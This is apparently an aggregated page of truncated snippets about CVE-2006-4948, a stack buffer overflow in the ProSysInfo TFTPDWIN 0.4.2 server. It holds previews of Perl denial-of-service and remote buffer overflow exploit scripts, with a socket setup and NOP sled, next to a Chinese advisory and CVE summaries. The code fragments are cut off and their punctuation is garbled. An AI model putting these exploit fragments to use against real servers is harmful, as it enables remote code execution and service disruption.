ProSysInfo TFTP Server TFTPDWIN 0.4.2 - 'UDP' Denial of Service

!/usr/bin/perl TFTPDWIN Server UDP DOS 0.4.2 POC written By : Umesh Wanve [email protected] ------------------------------------------------------------------------------- TFTPDWIN Server is a Freeware TFTP server for Windows 9x/NT/XP. http://www.tftpserver.prosysinfo.com.pl A vulnerability has...

ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Remote Buffer Overflow (1)

ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Remote Buffer Overflow 1 !/usr/bin/perl -w use IO::Socket; if!$ARGV1 print "Usage: tftpdwin-0-4-2.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='udp', PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "Cannot connect to $ARGV0 sulla porta $ARGV1"; my...

ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Remote Buffer Overflow (1)

!/usr/bin/perl -w use IO::Socket; if!$ARGV1 print "Usage: tftpdwin-0-4-2.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='udp', PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "Cannot connect to $ARGV0 sulla porta $ARGV1"; my $nop0="\x90"x15; 8BC3 MOV EAX,EBX 66:05 1201 ADD AX,112 50 PUSH EAX C3 RETN...

ProSysInfo TFTPDWIN远程栈溢出漏洞

TFTPDWIN是Windows平台下的一款多线程的TFTP协议服务器。 TFTPDWIN在处理用户请求时存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。 TFTPDWIN的tftpd.exe在处理请求的资源时存在栈溢出漏洞。如果用户使用超长名称（大于280字节）请求了资源的话，就会触发这个漏洞，导致执行任意指令。 ProSysInfo TFTPDWIN 0.4.2 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.prosysinfo.com.pl/tftpserver/...

CVE-2006-4948

Stack-based buffer overflow in tftpd.exe in ProSysInfo TFTP Server TFTPDWIN 0.4.2 and earlier allows remote attackers to execute arbitrary code or cause a denial of service via a long file name. NOTE: the provenance of this information is unknown; the details are obtained from third party...

CVE-2006-4948

CVE-2006-4948 affects ProSysInfo TFTPDWIN 0.4.2 and earlier. A stack-based buffer overflow in tftpd.exe can be triggered by a long filename sent to the TFTP server, allowing remote attackers to cause arbitrary code execution or a denial of service. Public references show a long filename vulnerabi...